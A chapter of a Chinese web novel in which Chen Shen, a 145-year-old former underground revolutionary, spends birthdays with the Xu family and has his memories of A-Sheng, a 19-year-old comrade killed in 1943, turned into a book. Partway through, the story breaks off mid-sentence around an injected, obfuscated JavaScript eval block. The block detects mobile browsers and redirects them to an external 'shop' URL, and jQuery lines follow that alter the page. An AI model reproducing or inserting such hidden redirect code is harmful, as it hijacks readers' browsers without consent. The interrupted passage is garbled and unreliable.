一
2064年的春天，陈深一百四十五岁了。
三月十五号那天，他醒得很早。窗外有鸟叫声，阳光从窗帘缝隙里漏进来，落在地板上。他躺了一会儿，听着那些声音，想着今天是什么日子。
想了很久，才想起来。
是他来到这个世界的第四十年。
也是他替老许看着这个世界的第一百二十一年。
他起身下楼，走到院子里。
老槐树已经长满了叶子，嫩绿嫩绿的，在晨光里闪闪发亮。他站在树下，伸手摸了摸树干。粗糙的树皮，温温的，被太阳晒了一早上。
“老许，今天我又老了一岁。”他轻声说。
风吹过，树叶沙沙响。
二
下午，许念恩带着小许念恩来了。
小许念恩已经十岁了，跑进院子就扑过来。
“陈爷爷！”
陈深抱起她，转了一圈。
“念恩，又重了。”
她咯咯笑，挣扎着下来，拉着他的手往屋里走。
“陈爷爷，我给你带了礼物！我自己画的！”
许念恩跟在后面，手里提着一个蛋糕。
“陈爷爷，生日快乐。”
陈深看着她们母女俩，笑了。
“好。过生日。”
三
他们坐在院子里，切蛋糕，喝茶，聊天。
小许念恩把自己画的画递给陈深。画的是他，坐在老槐树下，眼睛亮亮的。旁边站着两个人，一个是她妈妈，一个是她自己。
“陈爷爷，好看吗？”
陈深点点头。
“好看。很好看。”
她满意地笑了，又跑去追蝴蝶。
许念恩看着女儿，笑着摇头。
“这孩子，越大越皮。”
陈深说：“像你。”
她愣了一下，然后笑了。
“是。像我。”
四
吃完蛋糕，小许念恩跑过来，趴在陈深膝盖上。
“陈爷爷，你今天一百四十五岁了？”
陈深点点头。
“对。”
她歪着头，认真地问：“那你见过最多的是什么？”
陈深想了想。
“见过最多的是人。”
“什么人？”
“各种各样的人。好人，坏人，普通人。活着的，死了的。”
她眨眨眼睛。
“那你最喜欢什么人？”
陈深看着她，看着那双又圆又亮的眼睛。
“你太爷爷。你奶奶。你妈妈。还有你。”
她笑了，笑得很开心。
“那我排第几？”
陈深也笑了。
“第一。”
五
那天晚上，她们没走。
许念恩说，要陪陈深过完生日。
天黑以后，他们搬了椅子，坐在院子里，看星星。
今晚的星星很多，虽然城市的光污染很严重，但还是能看见不少。
小许念恩指着北方。
“陈爷爷，那颗是天枢对不对？”
陈深点点头。
“对。”
“那颗是天璇？”
“对。”
“沿着它们就能找到北极星？”
“对。”
她找了一会儿，兴奋地喊：“找到了！那颗最亮的！”
陈深笑了。
“念恩真聪明。”
她得意地晃了晃脑袋。
六
许念恩在旁边，看着他们，眼眶有点红。
陈深看见了，问：“怎么了？”
她摇摇头。
“没什么。就是……觉得这样真好。”
陈深没说话。
她又说：“陈爷爷，谢谢你。”
“谢什么？”
“谢谢你活着。谢谢你陪我们这么久。”
陈深沉默了一会儿。
然后他伸出手，拍了拍她的手。
“傻孩子。说什么谢。”
七
小许念恩靠在陈深身上，已经困了。
她揉着眼睛，问：“陈爷爷，你明天还在吗？”
陈深说：“在。”
“后天呢？”
“也在。”
“那等我下次来，你还在吗？”
陈深点点头。
“在。陈爷爷一直在。”
她满意地点点头，闭上眼睛，很快就睡着了。
许念恩把她抱进屋，放在床上。
然后她出来，坐在陈深旁边。
八
她们母女俩，一个睡着了，一个陪着他。
陈深看着夜空，没有说话。
许念恩也没有说话。
过了很久，她开口了。
“陈爷爷，我想问你一件事。”
“问。”
她看着那颗星，说：“你这一生，有没有什么遗憾？”
陈深愣了一下。
遗憾？
他想了想。
想了很多事。
想到那些死去的人，那些没来得及救的人，那些没能看见黎明的人。
想到那个天台上最后的时刻，想到那颗星，想到那声鸡鸣。
想到那个把身体让给他的年轻人，想到那封遗书，想到那句“活着很累，但死了更累”。
他沉默了很久。
然后他开口了。
“有一个。”
九
许念恩看着他，等着他说下去。
陈深看着那颗星，开始讲。
“1943年，我死的那天晚上，有一个年轻人，和我一起被捕。”
许念恩愣住了。
“谁？”
陈深说：“他叫阿生。比我小两岁，刚加入组织三个月。那天晚上，我们本来要一起送一份情报。结果被包围了。”
他顿了顿。
“我让他先跑。他不肯。他说，陈哥，我陪你。”
风吹过，老槐树的叶子沙沙响。
“后来我们被堵在天台上。他中了枪，倒在我旁边。我抱着他，他说，陈哥，我怕。”
陈深的声音有些哑。
“我说，不怕。很快就过去了。他说，我不想死。我才十九岁。”
他沉默了一会儿。
“然后他就死了。”
许念恩的眼泪流下来。
“陈爷爷……”
陈深摇摇头。
“这么多年，我一直记得他。记得他说不想死，记得他才十九岁。我替那么多人看着，唯独没替他看着。他死的时候，天还没亮。”
十
许念恩伸出手，握住陈深的手。
“陈爷爷，那不是你的错。”
陈深点点头。
“我知道。但忘不掉。”
她握紧他的手。
“他叫什么？”
“阿生。姓什么，不知道。他就说自己叫阿生。”
她沉默了一会儿。
然后她说：“陈爷爷，我把他写进书里。下一本书。让所有人都记得他。”
陈深看着她。
“念恩……”
她认真地说：“他十九岁就死了。他不想死。但他还是陪着你，一直到死。这样的人，不能忘记。”
陈深没说话。
他看着那颗星，看了很久。
然后他点点头。
“好。”
十一
那天晚上，他们坐到很晚。
陈深讲了很多阿生的事。
讲他刚来的时候多腼腆，讲他第一次送情报多紧张，讲他笑起来有两个酒窝。
讲他最后说的那句话：陈哥，我怕。
许念恩听着，记着。
她说：“陈爷爷，你放心。我会让所有人都知道，有一个叫阿生的孩子，十九岁就死了。他死的时候，天还没亮。”
陈深点点头。
十二
第二天早上，她们走了。
小许念恩醒过来，跑过来抱住他。
“陈爷爷，我下次还来！”
陈深摸摸她的头。
“好。陈爷爷等你。”
她跳上车，从车窗里朝他挥手。
陈深站在院子里，看着那辆车消失在巷子口。
老槐树在风里沙沙响。
他站了很久。
然后他轻声说：
“阿生，你听见了吗？有人会记住你了。”
十三
那之后，许念恩开始写新书。
她打电话来，问很多细节。阿生长什么样，穿什么衣服，说话什么口音，那天晚上什么情形。
陈深一一回答。
有时候讲着讲着，会沉默很久。
她就在电话那头等着，不催。
等他继续讲。
十四
2064年秋天，新书出版了。
书名就叫《阿生——一个十九岁的孩子》。
封面很简单，只有一行字。下面是一颗星，天枢。
许念恩带着书来上海，亲手送给陈深。
陈深接过书，翻开。
扉页上写着：
“献给阿生，那个十九岁的孩子。他死的时候，天还没亮。但他活在陈爷爷心里，活了一百多年。”
陈深看着那行字，眼眶酸了。
他一页一页翻下去。
那些他讲过无数遍的事，变成铅字，印在纸上。
阿生的样子，阿生的话，阿生最后看他的那一眼。
翻到最后一页，他看见一段话：
“阿生死于1943年11月7日，和陈深爷爷同一天。
他十九岁。
他不想死。但他还是陪着陈爷爷，一直到最后一刻。
陈爷爷说，他替那么多人看着，唯独没替阿生看着。因为阿生死的时候，天还没亮。
但陈爷爷错了。
阿生看见了。通过陈爷爷的眼睛，看见了一百多年的太平盛世。
陈爷爷替他看着。替他活了一百多年。
现在，我把阿生的故事写下来。让所有人都知道，有一个十九岁的孩子，死在黎明前。”
陈深合上书，看着许念恩。
她正看着他，眼眶也红红的。
“陈爷爷，写得好不好？”
陈深点点头。
“好。很好。”
她笑了，眼泪流下来。
十五
那天下午，他们坐在院子里，聊了很久。
聊阿生，聊老许，聊那些死去的人。
聊那本书，聊那些读者来信，聊那些被记住的人。
小许念恩在旁边听着，偶尔问几个问题。
“陈爷爷，阿生叔叔怕不怕死？”
陈深想了想。
“怕。谁都怕。”
“那他为什么还要陪你？”
陈深看着她，看着那双又圆又亮的眼睛。
“因为他是个好人。”
她点点头。
“那我以后也要当好人。陪着我爱的人。”
陈深摸摸她的头。
“好。”
十六
那天晚上，她们走了以后，陈深一个人坐在院子里，看着那颗星。
天枢。
还是那么亮。
他想起阿生，想起老许，想起那些死去的人。
也想起那些活着的人。
许念恩，小许念恩，还有那些看过书的人。
他们都记住了。
阿生被记住了。
他轻声说：“阿生，你看见了吗？有人记住你了。你活了。”
风吹过，树叶沙沙响。
他笑了。
十七
2065年春天，小许念恩十一岁了。
她来的时候，带了一本新本子。
“陈爷爷，你看！”
陈深接过来一看，是本子的封面写着几个字：我记住的人。
翻开，里面是她记下来的那些名字。
许正阳。许念慈。林静宜。徐老太太。阿生。还有很多她不认识，但听陈深讲过的人。
每一个名字下面，都写着几句话。
许正阳：眼睛很亮，种了一棵槐树，死在黎明前。
阿生：十九岁，怕死，但还是陪着陈爷爷。
陈深翻着那本本子，心里涌起一种奇怪的感觉。
这孩子，才十一岁。
已经在替他们记住了。
他看着小许念恩，问：“你怎么想起记这个？”
她认真地说：“因为妈妈说，记住他们，他们就活着。”
陈深点点头。
“你妈妈说得对。”
十八
那天下午，他们坐在院子里，讲故事。
小许念恩拿出本子，一边听一边记。
陈深讲阿生的故
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387610|200268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事，讲老许的故事，讲那些年的事。
她记着，偶尔问几个问题。
“阿生叔叔笑起来有酒窝吗？”
“有。两个。”
她认真地在阿生名字下面加了一行：笑起来有两个酒窝。
“他喜欢吃什么？”
“不知道。那时候没什么好吃的。”
她又加了一行：没吃过好吃的。
陈深看着她，笑了。
这孩子，要把阿生活过来。
十九
那天晚上，许念恩来接她。
小许念恩把本子给妈妈看。
许念恩翻着那些歪歪扭扭的字，眼眶红了。
她抬起头，看着陈深。
“陈爷爷，她像谁？”
陈深想了想。
“像你。也像你太爷爷。”
她笑了。
“那就好。”
二十
2065年秋天，陈深收到一封信。
是一个陌生的地址，寄件人的名字是：李小光。
他拆开信。
“陈爷爷：
你好。我是李小光。十三年前我给你写过信，问你怕不怕死。十年前你又给我回过信，鼓励我当老师。
我现在真的当老师了。在一所中学教历史。
你的那几本书，我都在课堂上讲。讲给学生们听。每次讲到阿生的时候，都有孩子哭。
陈爷爷，你知道吗，有一个孩子，听了阿生的故事，回去写了一篇作文。作文里说，阿生叔叔虽然死了，但他活在我们心里。我看了那篇作文，哭了。
陈爷爷，谢谢你。谢谢你活着。谢谢你把那些故事讲出来。
我会一直讲下去的。讲给我的学生们听。
李小光”
陈深看着那封信，看了很久。
然后他笑了。
那个怕死的孩子，当了老师。
在讲他们的故事。
他轻声说：“阿生，你听见了吗？有老师讲你的故事了。”
二十一
2066年春天，小许念恩十二岁了。
她已经是个大姑娘了，个子快赶上她妈妈了。但每次来，还是会缠着陈深讲故事。
有一天，她问：“陈爷爷，你活了一百四十七年，最骄傲的事是什么？”
陈深想了想。
最骄傲的事。
想了很多。
不是那些年做地下工作，不是那些年投资成功，不是那些书被出版。
是那些活着的人。
许念恩，小许念恩，还有那些听过他故事的人，那些记住阿生的人，那些写信来的孩子。
他说：“最骄傲的事，是看着你们长大。”
她歪着头看他。
“就这个？”
“就这个。”
她想了想，说：“那我们让你骄傲了？”
陈深点点头。
“骄傲。很骄傲。”
她笑了，跑过来抱住他。
“陈爷爷，那我以后让你更骄傲。”
陈深拍拍她的背。
“好。陈爷爷等着。”
二十二
那天晚上，她们走了以后，陈深一个人坐在院子里，看着那颗星。
天枢。
还是那么亮。
他想起老许，想起阿生，想起那些死去的人。
也想起那些活着的人。
许念恩，小许念恩，李小光，还有那些听过故事的孩子。
他看着那颗星，轻声说：
“老许，你让我多看几眼。我看了。看了快一百二十三年了。”
风吹过，树叶沙沙响。
“现在，有人替我看了。”
二十三
2067年春天，陈深一百四十八岁了。
那年三月十五号，许念恩带着孩子来了。
小许念恩十三岁了，上中学了。个子比她妈妈还高一点。
她们又带了蛋糕，又陪他过生日。
吃完蛋糕，小许念恩坐在他旁边，拿出那本本子。
“陈爷爷，你看，我又记了好多。”
陈深接过来一看，本子已经快记满了。
那些名字，那些故事，那些歪歪扭扭的字。
翻到最后一页，他看见一行字：
“陈爷爷说，他活了一百四十多年。他说，他替那些看不见黎明的人，看着这个新世界。
我长大后，也要替他们看着。还要把我的孩子，也教成这样。
陈爷爷是我见过最好的人。他的故事，我要一直记下去。”
和当年她妈妈写的一模一样。
和当年她妈妈写的那本本子，一模一样。
陈深看着那些字，眼眶酸了。
他看着小许念恩，说：“念恩，你写得真好。”
她笑了，笑得很开心。
二十四
那天晚上，她们走了以后，陈深一个人在院子里坐了很久。
他看着那颗星，想着这些年的事。
从1943年那个天台上，到现在。
一百二十四年了。
他活过来了。
看见了胜利，看见了和平，看见了新世界。
看见了许念恩，看见了她的孩子，看见了那些听过他故事的人。
他想起老许最后的话：小陈，替我多看几眼。
他看了。
看了很久。
他看着那颗星，轻声说：
“老许，我看了。看了快一百二十四年。现在，有人替我看了。”
风吹过，树叶沙沙响。
他站起来，走回屋里。
墙上挂着那张合影，还有那封信。
他看着照片上那个眼睛很亮的人，说：
“老许，念恩的孩子，也会记住我们的。念恩的孩子的孩子，也会记住的。”
风吹过窗户，吹动窗帘。
他笑了笑，坐下，拿起那本《阿生》，翻开。
一页一页，都是那些死去的人。
他看着那些字，看着那些熟悉的名字，看着那些被记住的人。
然后他合上书，放在桌上。
和那些信、那些照片、那些本子放在一起。
窗外，月光照进来，照在院子里，照在那棵老槐树上。
一百多年了。
树还在。
人还在。
故事还在传下去。
---